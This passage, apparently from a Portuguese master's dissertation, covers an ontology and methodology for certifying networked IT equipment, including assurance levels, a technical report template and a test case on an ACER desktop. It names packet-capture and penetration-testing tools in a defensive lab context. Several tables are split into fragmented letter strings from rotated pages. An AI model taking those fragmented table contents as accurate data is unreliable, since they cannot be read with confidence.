A.1.1 C e D A.1.2 C e D A.1.3 depende do equipamento A.2.1 C, D.5, D.6 A.2.2 C.1, C.2.9, D.5 e D.6 A.2.3 depende do equipamento A.3.1 C.1.1, C.2.9, D.5 e D.6 A.3.2 C.1.1, C.2.9, D.5 e D.6 A.3.3 C.1.1, C.2.9, D.5 e D.6 A.3.4 C.1, C.2.9, D.5 e D.6 A.3.5 C.1.1, C.2.9, D.5 e D.6 A.3.6 depende do equipamento A.4.1 C.1.1, C.2.1, C.2.4, C.2.9, D.5 e D.6 A.4.2 C.1.1, C.2.9, D.5 e D.6 A.4.3 depende do equipamento A.5.1 C.1.2, C.2.5, C.2.7, C.2.8, C.2.9 e D A.5.2 C.1.2, C.2.5, C.2.7, C.2.8, C.2.9 e D A.5.3 C e D A.5.4 depende do equipamento

Tabela 11 - Proposta de Propriedades para a Classe A de Equipamento Informático

.



146 .

Na Tabela que se segue apresenta-se uma proposta de atribuição de Propriedades para a Classe B de Equipamentos, ou seja, para os “Equipamentos incapazes de se ligarem diretamente à rede”.

Proposta de Atribuição de Propriedades para a Classe B “Equipamentos incapazes de se ligarem diretamente à rede”

Indivíduo da Classe B Classe, Subclasse ou Indivíduo correspondente da Classe de Comportamentos a Analisar

B.1.1 C.2, D.5 e D.6 B.1.2 C.2.9, D.5 e D.6 B.1.3 C.2.9, D.2, D.5 e D.6 B.1.4 C.2.9, D.3.1, D.5 e D.6 B.1.5 C.2.9, D.5 e D.6 B.1.6 C.2.9, D.5 e D.6 B.1.7 depende do equipamento B.1.8 C.2.9, D.5 e D.6 B.1.9 C.2.9, D.5 e D.6

B.1.10 depende do equipamento B.2.1 C.2.1, C.2.9, D.5 e D.6 B.2.2 C.2.1, C.2.9, D.5 e D.6 B.2.3 C.2.1, C.2.9, D.5 e D.6 B.2.4 C.2.1, C.2.9, D.5 e D.6 B.2.5 depende do equipamento B.3.1 C.2.9, D.5 e D.6 B.3.2 C.2.1, C.2.4, C.2.9, D.5 e D.6 B.3.3 C.2.9, D.5 e D.6 B.3.4 C.2.9, D.5 e D.6 B.3.5 depende do equipamento B.4.1 C.2.1, C.2.9, D.3.1, D.5 e D.6 B.4.2 C.2.1, C.2.9, D.3.2, D.5 e D.6 B.4.3 C.2.1, C.2.9, D.3.2, D.5 e D.6 B.4.4 C.2.1, C.2.9, D.3.2, D.5 e D.6 B.4.5 C.2.1, C.2.9, D.3.2, D.5 e D.6 B.4.6 D.3.3 B.4.7 depende do equipamento

Tabela 12 - Proposta de Propriedades para a Classe B de Equipamento Informático

6.6.6 Utilização de um Classificador (Reasoner)

Nesta altura foi criada a Ontologia com as suas Classes, os seus Indivíduos e as suas Propriedades.

Uma das principais características das Ontologias que são descritas utilizando a Linguagem OWL, é que podem ser processadas através de uma ferramenta capaz de as analisar, designado de Classificador ou Verificador de Raciocínio (Reasoner). Dado um determinado ficheiro OWL, ou neste caso através do próprio Protégé, um Reasoner pode testar se uma Classe é ou não Subclasse de outras Classes, verificar a consistência da Ontologia, inferir a sua hierarquia, entre outras funcionalidades [73] [77].

.



147 .

Um dos Reasoners aconselhados e mais utilizado é o HermiT que por sua vez está incluído no Protégé na sua versão 1.3.8. Este Reasoner de código livre foi desenvolvido pelo Department of Computer Science da Universidade de Oxford e apresenta compatibilidade com muitos sistemas, tal como uma velocidade de classificação bastante elevada devido ao seu algoritmo de processamento [77].

A invocação do Reasoner é através do Menu do Protégé com o mesmo nome, o qual permite escolher entre os que estão instalados que, neste caso como já foi referido, será o HermiT, como ilustra a Figura que se segue.

Figura 42 - Invocação do Reasoner na Ontologia ativa no Protégé

No Protégé a hierarquia de Classes construída manualmente pela pessoa que implementa a Ontologia é designada de “hierarquia declarada” (asserted hierarchy) e a hierarquia de Classes computada pelo Reasoner é designada e “hierarquia inferida” (inferred hierarchy) [73].

Quando a inferred hierarchy é computada, ou seja, quando o Reasoner está ativo, é apresentada uma janela com essa hierarquia, e caso existam inconsistências ou outros problemas, as Classes serão realçadas com cores diferentes [73].

A Figura que se segue apresenta a janela com a inferred hierarchy de Classes que, também devido ao Reasoner, ao selecionar uma determinada Classe, neste caso a IT_Equipment, podem ver-se na janela Description quais os objetos que fazem parte dela, neste caso, podem observar-se os Indivíduos que são membros dessa Classe. Pode observar-se no canto inferior direito a indicação de que o Reasoner está ativo.

.



148 .

Figura 43 - Hierarquia Inferida de Classes na Ontologia ativa no Protégé

A ativação do Reasoner HermiT decorreu com normalidade e não foram detetadas quaisquer inconsistências na Ontologia criada.

É também possível visualizar a Ontologia em modo gráfico. Através do separador OntoGraf é possível escolher vários modos de apresentação gráfica, níveis de zoom, exportar em diversos formatos, entre outras opções. Em relação aos objetos, é possível adicionar Classes e Indivíduos, e mostrar ou esconder as ramificações da hierarquia assim se deseja um maior ou menor grau de detalhes da árvore. É também possível visualizar as relações entre objetos e as suas Propriedades. A Figura que se segue apresenta um exemplo de visualização em modo gráfico da Ontologia.

.



149 .

Figura 44 - Visualização Gráfica da Ontologia ativa no Protégé

6.6.7 Publicação e Partilha da Ontologia

Como já foi referido, um dos objetivos das Ontologias é partilhar o conhecimento, não só entre humanos, mas também entre computadores. Um dos primeiros passos a ter em conta antes de desenvolver uma Ontologia é verificar se já existe uma formalização que possa fazer face aos requisitos pretendidos ou pelo menos que possa ser adaptada.

Nesse sentido, é também objetivo desta Dissertação partilhar a Ontologia desenvolvida. Um dos repositórios de Ontologias é a própria página web do Protégé, mais precisamente na secção destinada à versão web desta aplicação. Depois de efetuar um registo nesta página web, é possível efetuar o upload da Ontologia, com o respetivo nome do projeto e descrição, como ilustra a Figura que se segue.

.



150 .

Figura 45 - Partilha de Ontologia no repositório web do Protégé

Existem outros repositórios nos quais se pode disponibilizar a Ontologia, tais como os já referidos na Secção “6.4.2 Considerar a utilização de Ontologias existentes”, entre outros.

6.7. Sistematização da Ontologia

Esta Secção tem como objetivo exemplificar a utilização da Ontologia criada anteriormente.

Quando um determinado equipamento é proposto para testes e avaliações no Laboratório de Certificação de Idoneidade, este deve ser classificado numa determinada Classe de Equipamentos TI que será associada a uma determinada Classe de Equipamentos a Analisar. A este processo propõe-se que seja dada a designação de Sistematização da Ontologia.

A Classificação do Equipamento em Classes deverá ter por base não só as habilitações e experiência do avaliador que analisa o equipamento, mas também as suas caraterísticas e documentação fornecida pelo fabricante como manuais, esquemas, documentação de desenho e implementação, e outra documentação como por exemplo referente a outras certificações ou marcações que o mesmo já disponha, para que deste modo o avaliador consiga mais facilmente classificar o equipamento numa das Classes da Ontologia.

.



151 .

Propõe-se que o resultado da Sistematização seja colocado numa Tabela que especificará quais as Classes onde o equipamento foi classificado, que documentação que foi fornecida, quais as características do equipamento, entre outras indicações que o avaliador considere relevantes.

Na Tabela que se segue, apresenta-se um exemplo da especificação de propriedades para um computador de secretária.

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

152

.

Sist

emat

izaç

ão d

a O

ntol

ogia

.

Clas

sific

ação

do

Equi

pam

ento

na

Clas

se E

quip

amen

tos

TI (I

T Eq

uipm

ent)

A.

1.1

.

Clas

sific

ação

do

Equi

pam

ento

na

Clas

se d

e Co

mpo

rtam

ento

s (I

T Eq

uipm

ent B

ehav

ior A

naly

sis)

C e

D .

Doc

umen

taçã

o Fo

rnec

ida

Man

ual d

o D

isco

Ríg

ido,

Man

ual d

a M

othe

rboa

rd

.

Espe

cific

ação

das

Car

acte

ríst

icas

do

Equi

pam

ento

Com

pone

nte

Mod

elo

Cara

cter

ísti

cas

Fabr

ican

te

Fabr

icad

o em

Ce

rtifi

caçõ

es o

u M

arca

ções

An

omal

ias

dete

tada

s O

bs

Caix

a As

us T

W20

0 M

ini t

ower

As

us

Chin

a CE

--

- --

-

Font

e de

alim

enta

ção

Pow

erM

ax

FPS4

00PM

40

0W

Não

id

entif

icáv

el

Chin

a CE

, FCC

--

- --

-

Mot

herb

oard

As

us P

8Z77

-V

DEL

UXE

Ver A

nexo

As

us

Chin

a CE

Ch

ip c

om so

lda

rude

Det

etou

-se

um d

os c

hips

da

mot

herb

oard

com

so

ldad

uras

dis

tinta

s das

do

s res

tant

es

com

pone

ntes

, ap

rese

ntan

do u

m a

spet

o ru

dim

enta

r

Proc

essa

dor

Inte

l Soc

ket 1

155

2nd G

ener

atio

n Co

re i7

3.6

6MH

z In

tel

Chin

a --

- --

- --

-

Cool

er

Cool

erM

aste

r 36

RB

12V

– 0.

83A

Cool

er

Mas

ter

Chin

a CE

--

- --

-

Dis

co R

ígid

o W

este

rn D

igita

l SA

TA 6

Gb/

s, 3.

5-in

ch, 6

4 M

B ca

che

Wes

tern

D

igita

l Ch

ina

CE

---

---

RAM

KV

R667

D 2

dim

ms d

e 4G

B 1.

8V

King

ston

Ch

ina

---

---

Não

tem

qua

lque

r m

arca

ção

Plac

a de

Exp

ansã

o de

Ví

deo

---

onbo

ard

Asus

---

---

---

Plac

a de

Exp

ansã

o de

So

m

---

onbo

ard

Asus

---

---

---

Plac

a de

Exp

ansã

o de

Re

de

---

onbo

ard

Asus

---

---

---

Leito

r / g

rava

dor d

e D

VD

Não

iden

tific

ável

N

ão id

entif

icáv

el

Não

id

entif

icáv

el

--

- --

- Eq

uipa

men

to “M

arca

Br

anca

”

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

153 .

Unid

ade

de D

isqu

etes

--

- --

- --

-

---

---

---

Unid

ade

de L

eitu

ra d

e Ca

rtõe

s de

Mem

ória

--

- on

box

As

us

--

- --

- --

-

Outr

os c

ompo

nent

es

---

---

---

--

- --

- --

- .

Obs

erva

ções

Tabe

la 1

3 –

Exem

plo

de S

iste

mat

izaç

ão d

e O

ntol

ogia

par

a um

Com

puta

dor

de S

ecre

tári

a

.



154 .

A proposta de Ontologia de Equipamento Informático apresentada neste Capítulo fará parte de uma Metodologia de Certificação de Idoneidade de Equipamento Informático Integrado em Redes de Computadores, a qual será realizada no Laboratório de Certificação de Equipamento Informático.

Consoante as Classificações obtidas e a sua Sistematização, assim serão realizados diferentes testes e avaliações sobre o equipamento, dos quais resultará a emissão de um Relatório Técnico que contém a descrição destas ações, recomendações, qual o nível de garantia de segurança obtido, entre outra informação que os avaliadores considerem relevante.

A etapa final da Metodologia será a emissão de uma certificação e de uma marca para colocação do equipamento, que atestem a sua idoneidade. Esta certificação deverá ser acreditada pelas entidades competentes nacionais que, como se refere na Secção “4.5 Gabinete Nacional de Segurança - GNS”, será então o GNS.

Os Capítulos que se seguem propõem essa Metodologia e apresentam um exemplo da sua implementação realizado sobre um computador de secretária.

.


155 .

Capítulo 7 Proposta de Metodologia de Certificação de Equipamento

Informático Este Capítulo propõe uma Metodologia de Certificação de Equipamento Informático nomeadamente através da especificação da sua Arquitetura e também dos Procedimentos necessários para obter essa Certificação.

.


Capítulo 7 – Proposta de Metodologia de Certificação de Equipamento Informático

156 .

7.1 Enquadramento

Já foram propostos nesta Dissertação os requisitos para um Laboratório de Certificação de Idoneidade de Equipamento Informático tal como uma Ontologia que classifica esse Equipamento em Classes e o associa a determinados Comportamentos a Analisar consoante essa classificação.

Este Capítulo pretende propor uma Metodologia de Certificação de Equipamento Informático que especifique hierarquicamente todas as etapas que o equipamento deve percorrer a fim de obter a Certificação final.

As Secções que se seguem detalham a Metodologia proposta.

7.2 Arquitetura da Metodologia

Em termos de Arquitetura para a Metodologia de Certificação do Equipamento Informático, propõe-se a estrutura ilustrada na Figura que se segue.

Figura 46 - Esquema da Arquitetura da Metodologia de Certificação de Equipamento Informático

Equipamento

Registo e Marcação do Equipamento

Testes e Avaliações

Acreditação da Certificação do Equipamento

Laboratório

Sistematização da Ontologia

Relatório Técnico e Certificação

Classificação das Entidades Envolvidas

Nível de Garantia de Idoneidade

.



157 .

Todas as etapas e elementos que fazem parte da Arquitetura do Sistema de Certificação de Equipamento Informático Integrado em Redes de Computadores proposta nesta Dissertação e serão explicadas nas Secções que se seguem.

7.3 Classificação das Entidades Envolvidas

A Tabela que se segue ilustra uma proposta de classificação das diferentes entidades envolvidas no processo de certificação do equipamento.

Entidade Descrição Fabricante Será o fabricante do equipamento a ser testado, e fornecerá toda a

documentação que disponha, para a avaliação requerida pelo Promotor Cliente Será o responsável por pedir e suportar a avaliação, e também por

garantir que o avaliador receberá todos os elementos necessários Laboratório de Certificação de Equipamento Informático

Será onde se realizarão os testes e avaliações do equipamento fornecido pelo Fabricante no Laboratório de Segurança, que produzirá o Relatório Técnico com o resultado dos testes

Organismo de Acreditação Será o Organismo que receberá e analisará o Relatório Técnico a fim de poder acreditar a certificação do equipamento, que no caso de Portugal será o GNS

Tabela 14 - Classificação das Entidades Envolvidas no Modelo de Certificação

Esta é uma proposta de classificação genérica das entidades envolvidas no processo de certificação, sendo que por exemplo, o Cliente da avaliação poderá ser o próprio Fabricante, ou qualquer empresa ou organização que queira ver os seus equipamentos com essa assunção de idoneidade.

Já o Laboratório de Certificação de Equipamento Informático deve ser uma entidade externa e não possuir qualquer ligação ao Cliente e ao Fabricante a fim de garantir o máximo de isenção na avaliação a efetuar.

Quanto ao Organismo de Acreditação, será a entidade que acreditará a certificação do equipamento com base nas avaliações efetuadas pelo Laboratório, mais concretamente com base no RT emitido.

7.4 Registo e Marcação do Equipamento

Esta é a etapa da entrada do Equipamento a testar e avaliar no Laboratório. Toda a documentação fornecida pelo fabricante, tal como outros elementos que se considerem importantes, como outra documentação, outras certificações, outras

.



158 .

versões do equipamento, ou outros documentos, devem acompanhar o Equipamento nesta etapa.

O Equipamento tal como todos os elementos que o acompanhem devem ser devidamente marcados, catalogados e registados em aplicações para o efeito.

Todo o procedimento deve ser devidamente documentado no RT.

7.5 Sistematização da Ontologia

Nesta etapa, o Equipamento será classificado em Classes, de acordo com a proposta do Capítulo 6 – Proposta de Ontologia de Equipamento Informático.

Para esse efeito deve ser utilizada a Ontologia desenvolvida anteriormente e classificar o equipamento numa Classe de Equipamentos TI. Este procedimento deverá ter por base não só as habilitações e experiência do avaliador (ou grupo de avaliadores), mas também documentação fornecida pelo fabricante, e outros elementos, como outra documentação, outras certificações, outras versões do equipamento, entre outros.

Uma vez classificado o equipamento através das Propriedades da Instância da Classe na qual foi inserido, ficará relacionado com uma ou várias Classes de Comportamentos a Avaliar.

A este procedimento propõe-se a designação de Sistematização da Ontologia


7.6 Testes e Avaliações

Nesta Dissertação propõe-se que os testes e avaliações sigam a seguinte estrutura:

Aceder a quaisquer testes ou avaliações efetuados pelo fabricante do equipamento: o Laboratório deverá analisar a documentação fornecida pelo fabricante respeitante à descrição e resultados de testes e avaliações que o equipamento tenha sido alvo; Realizar uma recolha e análise do tráfego de rede do ambiente onde o equipamento irá operar: deverá ser efetuada uma recolha e análise do tráfego de rede que circula na entidade onde o equipamento irá ser inserido, durante o período normal de funcionamento, que deve resultar na criação de ficheiros

.



159 .

específicos de captura de dados com o objetivo de conhecer a realidade da empresa e de utilizar essa Informação para os testes e avaliações funcionais a realizar; Realizar testes e avaliações funcionais independentes: os testes e avaliações funcionais a efetuar dependerão da Sistematização da Classificação, uma vez que o seu resultado especifica quais as análises de comportamentos que devem ser efetuadas, tal como o proposto na Secção “6.7 Sistematização da Ontologia”; Realizar testes de penetração: devem ser efetuados testes de penetração que verifiquem as vulnerabilidades mais genéricas, ataques diretos, ataques de força bruta, entre outros; Realizar testes com software específico: devem ser efetuados testes com software específico de deteção de vulnerabilidades como antivírus, antimalware, deteção de backdoors, entre outras aplicações específicas de deteção e proteção para este tipo de ameaças.

Todos estes procedimentos devem ser devidamente documentados no RT.

7.7 Nível de Garantia de Idoneidade

Com base nos resultados dos testes e avaliações, propõe-se que o equipamento obtenha um Nível de Garantia de Idoneidade. Quantos mais testes e avaliações passar sem qualquer falha ou ocorrência a registar, maior será o Nível de Garantia.

Na Tabela que se segue apresenta-se uma proposta para os diferentes Níveis de Garantia a atribuir ao equipamento consoante o número de falhas ou ocorrências que o mesmo apresente.

Nível de Garantia Descrição

NG5 O equipamento não apresentou quaisquer ocorrências durante os testes, e apresenta um baixo risco de comprometimento da garantia de segurança

NG4 O equipamento apresentou 1 ocorrência durante os testes, e apresenta um risco moderado de comprometimento da garantia de segurança

NG3 O equipamento apresentou 2 ocorrências durante os testes, e apresenta um risco médio de comprometimento da garantia de segurança

NG2 O equipamento apresentou 3 ocorrências durante os testes, e apresenta um elevado risco de comprometimento da garantia de segurança

NG1 O equipamento apresentou 4 ou mais ocorrências durante os testes, e apresenta um risco muito elevado de comprometimento da garantia de segurança

Tabela 15 - Níveis de Garantia de Idoneidade

O Nível de Garantia obtido será descrito no RT com as respetivas ocorrências detetadas e com as devidas recomendações para as suprimir.

.



160 .

7.8 Relatório Técnico e Certificação

Para a elaboração do RT, sugere-se a seguinte estrutura base:

Capa: deverá mencionar o nome do Laboratório onde está a ser efetuada a análise, a identificação do equipamento, o nome dos avaliadores, a data de elaboração, entre outra informação que o avaliador considere importante incluir; Introdução: deve conter informação que sirva para enquadrar o relatório com o equipamento e quais as avaliações efetuadas. Desta informação deve constar um resumo do processo já efetuado até ao momento, o qual se iniciou com o pedido de avaliação por parte do Cliente, a entrada do equipamento e elementos que o acompanham no Laboratório, as Classificações, entre outra informação que o avaliador considere importante incluir; Classificação das Entidades Envolvidas: deve conter o nome e a descrição do fabricante do equipamento, o nome e a descrição do cliente responsável pelo pedido de certificação, o nome e a descrição do Laboratório e dos avaliadores, e o nome do organismo de acreditação da certificação, entre outra informação que o avaliador considere importante incluir; Registo e Especificação do Equipamento: deve conter todas as especificações técnicas do equipamento e suas características, com base na documentação fornecida pelo fornecedor, e com base noutra documentação bibliográfica que sirva de apoio à sua identificação, entre outra informação que o avaliador considere importante incluir; Sistematização da Ontologia: deve conter a fundamentação da sistematização da classificação e a associação entre Classes de Equipamentos e Classes de Comportamentos. Deve conter também uma Tabela de especificará quais as Classes onde o equipamento foi classificado, que documentação que foi fornecida, quais as características do equipamento, entre outras indicações que o avaliador considere relevantes; Testes e Avaliações: deve conter a especificação e os resultados dos testes e avaliações efetuados ao equipamento, tal como os equipamentos e métodos utilizados. Esta informação deve ao mesmo tempo ser detalhada e de fácil entendimento. Deve ser incluída outra informação que o avaliador considere importante; Nível de Garantia de Idoneidade: deve conter uma descrição detalhada das ocorrências registadas durante a fase de testes e avaliações e consequentemente qual o nível de garantia de idoneidade obtido; Conclusão e Recomendações: deve conter um resumo do que foi efetuado tal como todas as informações e recomendações que o avaliador considere importantes incluir.

.



161 .

Além do RT deve ser emitido pelo Laboratório um Certificado da Idoneidade do Equipamento com o resumo do Relatório e com o Nível de Garantia de Idoneidade obtido. Deve também ser emitida uma Marcação para colocar no equipamento que identifique que o mesmo foi avaliado pelo Laboratório.

7.9 Acreditação da Certificação do Equipamento

A acreditação da certificação do equipamento deverá ser atribuída, por análise à avaliação efetuada pelo Laboratório, mais concretamente por análise ao RT, através de um organismo de certificação independente.

Como já foi referido na Secção “4.5 Gabinete Nacional de Segurança - GNS”, faz parte da Missão do GNS avaliar, acreditar e certificar a segurança de produtos e sistemas de comunicações, de informática e de tecnologias de informação que sirvam de suporte ao tratamento, arquivo e transmissão de informação classificada e proceder à realização de limpezas eletrónicas. Estas competências foram publicadas em Diário da República, 1.ª série, N.º 11, a 16 de janeiro de 2012.

Assim, pensa-se que será este o Organismo responsável por acreditar a Certificação efetuada pela Metodologia proposta neste Capítulo.

.



162 .

.


163 .

Capítulo 8 Implementação da Metodologia de Certificação de Equipamento

Informático Este Capítulo apresenta a Implementação da Metodologia de Certificação de Equipamento Informático proposta anteriormente, aplicada neste exemplo a um computador completo de secretária.

.


Capítulo 8 – Implementação da Metodologia de Certificação de Equipamento Informático

164 .

8.1. Enquadramento

No seguimento do trabalho até agora desenvolvido, este Capítulo apresenta um exemplo de implementação da Metodologia proposta no Capítulo anterior, nomeadamente de todo o processo que um computador completo de secretária será alvo a fim de obter a Certificação de Idoneidade por parte do Laboratório, a qual será posteriormente acreditada pelo organismo nacional competente.

Mais uma vez de referir que esta Dissertação dá ênfase à análise comportamental de computadores completos e mais concretamente às suas comunicações de rede, sendo que neste exemplo existirão Secções com um menor grau de detalhe quando outros tipos de testes sejam necessários os quais apenas serão possíveis de realizar com aplicações e equipamentos adequados e num Laboratório em pleno funcionamento e devidamente implementado.

Assim, as Secções que se seguem apresentam todas as etapas da Metodologia de Certificação proposta nesta Dissertação e são elas próprias o conteúdo que faria parte do RT (excetuando a capa e outros detalhes), resultante da avaliação ao computador efetuada pelo Laboratório, pelo que não será apresentado um RT com o formato e todas as especificidades propostas.

8.2. Classificação das Entidades Envolvidas

Esta é a etapa onde são classificadas as entidades envolvidas no processo de certificação do equipamento, a qual é a ilustrada na Tabela que se segue.

Entidade Descrição Fabricante ACER

Cliente

Neste caso assume-se como Cliente a empresa Resialentejo – Tratamento e Valorização de Resíduos, E.I.M. 32 uma vez que a recolha e análise de tráfego de rede foram efetuadas nas suas instalações, considerando que o computador irá ser inserido nesta empresa.

Laboratório de Certificação de Equipamento Informático

Neste caso assume-se o Laboratório UbiNET 33 da Escola Superior de Tecnologia e Gestão, uma vez que as análises ao computador foram efetuadas nas suas instalações e esta Dissertação é motivo do Mestrado desta Instituição.

Organismo de Acreditação Será o Organismo que receberá e analisará o Relatório Técnico a fim de poder acreditar a certificação do equipamento, assume-se que Portugal seja o GNS.

Tabela 16 - Classificação das Entidades Envolvidas

32 http://www.resialentejo.pt/ 33 http://ubinet.ipbeja.pt/

.



165 .

8.3. Registo e Marcação do Equipamento

Esta é a etapa da entrada do equipamento a testar e avaliar no Laboratório.

Não foi fornecida qualquer documentação por parte do fabricante.

O computador deverá ser marcado (etiquetado) e registado numa Base de Dados.

O computador a analisar utilizado é um ACER Modelo VERITON X680G.

O Sistema Operativo instalado de raiz é o Windows 7 Professional em Português.


8.4. Sistematização da Ontologia

A Sistematização da Ontologia é a apresentada na Tabela que se segue.

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

8 –

Impl

emen

taçã

o da

Met

odol

ogia

de

Cer

tific

ação

de

Equi

pam

ento

Info

rmát

ico

166

.

Sist

emat

izaç

ão d

a O

ntol

ogia

.

Clas

sific

ação

do

Equi

pam

ento

na

Clas

se E

quip

amen

tos

TI (I

T Eq

uipm

ent)

A.

1.1

.

Clas

sific

ação

do

Equi

pam

ento

na

Clas

se d

e Co

mpo

rtam

ento

s (I

T Eq

uipm

ent B

ehav

ior A

naly

sis)

C e

D .

Doc

umen

taçã

o Fo

rnec

ida

Não

foi f

orne

cida

qua

lque

r doc

umen

taçã

o .

Espe

cific

ação

das

Car

acte

ríst

icas

do

Equi

pam

ento

Com

pone

nte

Mod

elo

Cara

cter

ísti

cas

Fabr

ican

te

Fabr

icad

o em

Ce

rtifi

caçõ

es o

u M

arca

ções

An

omal

ias

dete

tada

s O

bs

Caix

a Ve

rito

n X6

80G

Min

i tow

er

ACER

-

CE

- -

Font

e de

alim

enta

ção

DPS

-220

UB-2

B

220W

22

0-24

0V

3.0A

60

/50H

z

Del

ta

Elec

tron

ics,

INC

Chin

a CE

, CCC

, FCC

-

-

Mot

herb

oard

-

- AC

ER

- -

- -

Proc

essa

dor

Inte

l Cor

e i5

65

0 3.

20GH

z So

cket

LGA

1156

In

tel

- -

- -

Cool

er

Foxc

onn

-

ACER

-

- -

-

Dis

co R

ígid

o W

D32

00AA

JS-

00L7

A0

Sata

/8M

B Ca

che

320G

B W

este

rn

Dig

ital

Tailâ

ndia

CE

-

-

RAM

24

0 pi

n DD

R3

SDRA

M

2 x

2GB

Sam

sung

Ch

ina

CE, F

CC

- -

Plac

a de

Exp

ansã

o de

Ví

deo

- on

boar

d -

- -

- -

Plac

a de

Exp

ansã

o de

So

m

- on

boar

d -

- -

- -

Plac

a de

Exp

ansã

o de

Re

de

PCI-E

WLA

N C

ard

- -

Chin

a -

- -

Leito

r / g

rava

dor d

e D

VD

HL

Dat

a St

orag

e LG

E-D

MGH

6ON

M

ulti

dvd

rew

rite

r H

itach

i M

alás

ia

CE, F

CC

- -

Unid

ade

de D

isqu

etes

- -

Unid

ade

de L

eitu

ra d

e Ca

rtõe

s de

Mem

ória

SD

, XD

, Mic

ro S

D on

box

- -

- -

-

Outr

os c

ompo

nent

es

- -

- -

- -

-

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

8 –

Impl

emen

taçã

o da

Met

odol

ogia

de

Cer

tific

ação

de

Equi

pam

ento

Info

rmát

ico

167 .

.

Obs

erva

ções

Es

ta s

iste

mat

izaç

ão e

fetu

a to

das

as a

nális

es d

as C

lass

es C

e D

, no

enta

nto,

e r

elat

ivam

ente

a e

ste

exem

plo,

nem

toda

s ir

ão s

er r

ealiz

adas

um

a ve

z qu

e o

com

puta

dor

em te

stes

não

di

spõe

de

algu

ns d

os d

ispo

sitiv

os re

feri

dos n

a cl

assi

ficaç

ão d

os c

ompo

rtam

ento

s.

Não

foi

per

miti

do d

esm

onta

r os

com

pone

ntes

int

egra

ntes

do

com

puta

dor,

e nã

o se

rão

apre

sent

adas

alg

umas

des

criç

ões

com

o g

rau

de p

orm

enor

que

ser

ia d

e es

pera

r nu

m

Labo

rató

rio,

no

enta

nto

colo

ca-s

e a

info

rmaç

ão q

ue se

con

segu

iu o

bter

com

a a

bert

ura

da c

aixa

.

Tabe

la 1

7 - S

iste

mat

izaç

ão d

a O

ntol

ogia

par

a o

Com

puta

dor

Test

ado

.



168 .

A Figura que se segue apresenta um pormenor do Computador testado neste Capítulo.

Figura 47 –Computador Testado

.



169 .

8.5. Testes e Avaliações

Nesta Secção descrevem-se os Testes e Avaliações realizados ao computador, de acordo com as classificações obtidas através da Sistematização da Ontologia.

De modo a realizar algumas das ações necessárias inerentes a essa Sistematização e das consequentes Classificações obtidas pelo computador em causa, nomeadamente para realizar os Cenários propostos na Classificação para a Subclasse “C.1.1 – Análise das Comunicações de Rede com Fios”, as duas Secções que se seguem descrevem os procedimentos efetuados para a recolha e injeção de tráfego de rede, que incluem o desenvolvimento de duas aplicações para esses objetivos.

8.5.1 Captura e Análise de Tráfego de Rede

Foram realizadas capturas e análises do tráfego de rede da LAN da empresa onde o computador irá ser inserido, no caso deste exemplo de implementação da Metodologia de Certificação, na Resialentejo – Tratamento e Valorização de Resíduos, E.I.M.

Existem várias aplicações capazes de efetuar a escuta, captura e análise do tráfego de rede, tais como o Kismet34, Nmap35, Snort36, Ntop37, TCPdump38, Abel&Caim39, Microsoft Network Monitor40, entre outras.

Nesta Dissertação, para efetuar as análises, utilizou-se o Wireshark41 devido às suas potencialidades e facilidade de utilização e configuração. Esta aplicação de utilização gratuita e multiplataforma, permite a captura e análise em tempo real de tráfego de rede, examinando os mais conhecidos protocolos com um elevado nível de detalhe. Através da sua intuitiva e poderosa interface gráfica, é possível por exemplo a construção de filtros permitindo escolher exatamente o que se pretende analisar. São também disponibilizados resumos por protocolo, que podem ser visualizados graficamente, os quais fornecem uma impressão digital fidedigna da rede analisada [78].

34 http://www.kismetwireless.net/ 35 http://nmap.org/ 36 http://www.snort.org/ 37 http://www.ntop.org/ 38 http://www.tcpdump.org/ 39 http://www.oxid.it/cain.html 40 http://www.microsoft.com/en-us/download/details.aspx?id=4865 41 http://www.wireshark.org/

.



170 .

Muitas destas aplicações de captura e análise de pacotes de dados têm por base o motor da biblioteca Winpcap42 que estende as possibilidades do sistema operativo de acesso de baixo nível a operações de rede. O Winpcap permite às aplicações capturarem e transmitirem pacotes de rede, filtrarem esses pacotes e obter estatísticas sobre o tráfego capturado [79].

Embora o Wireshark permita a captura e posterior gravação em ficheiro do tipo *.pcap dos diversos pacotes de dados que circulam na rede, acrescenta sempre informação a esses ficheiros, através do formato de gravação dos mesmos, como exemplifica a Figura que se segue. Este facto leva a que essa informação nem sempre possa ser tratada da mesma forma por todas as aplicações.

Figura 48 - Formato de gravação do Wireshark

De forma a demonstrar que o Laboratório, sempre que se justifique, deva ter a capacidade de desenvolver as suas próprias aplicações, foi desenvolvida uma ferramenta que permite capturar pacotes de dados e guardar essa informação em ficheiros do tipo *.pcap, sem qualquer tipo de adição de código extra, ou seja, em “crú” (raw), os quais podem ser posteriormente analisados no Wireshark ou utilizados por outras aplicações e para outros fins, como por exemplo para simular tráfego de rede na LAN criada para os diferentes cenários passíveis de avaliação, descritos mais à frente, através de outra aplicação desenvolvida para este efeito.

42 http://www.winpcap.org/

.



171 .

A linguagem de desenvolvimento utilizada foi o Python 2.7.343 devido à sua facilidade de programação, robustez, e diversas bibliotecas para o tratamento de questões relacionadas com comunicações de rede.

O ambiente de desenvolvimento foi o Kali Linux44, uma distribuição de Linux destinada a profissionais de TI da área de segurança e realização de testes de penetração. Um grande número de ferramentas do Kali Linux é desenvolvido em Python demonstrando assim as potencialidades que esta linguagem de programação apresenta neste contexto.

A aplicação desenvolvida chama-se “captura_pacotes.py” e utiliza muitas das funcionalidades da biblioteca scapy 45 que permite um grande número de possibilidades de operações na manipulação de pacotes de dados e operações de rede.

De um modo geral o funcionamento básico da aplicação, e concretamente detalhando os procedimentos referentes às comunicações de rede, inicia-se com a importação da biblioteca que permite efetuar operações relacionadas com tráfego e interfaces de rede:

from scapy.all import *

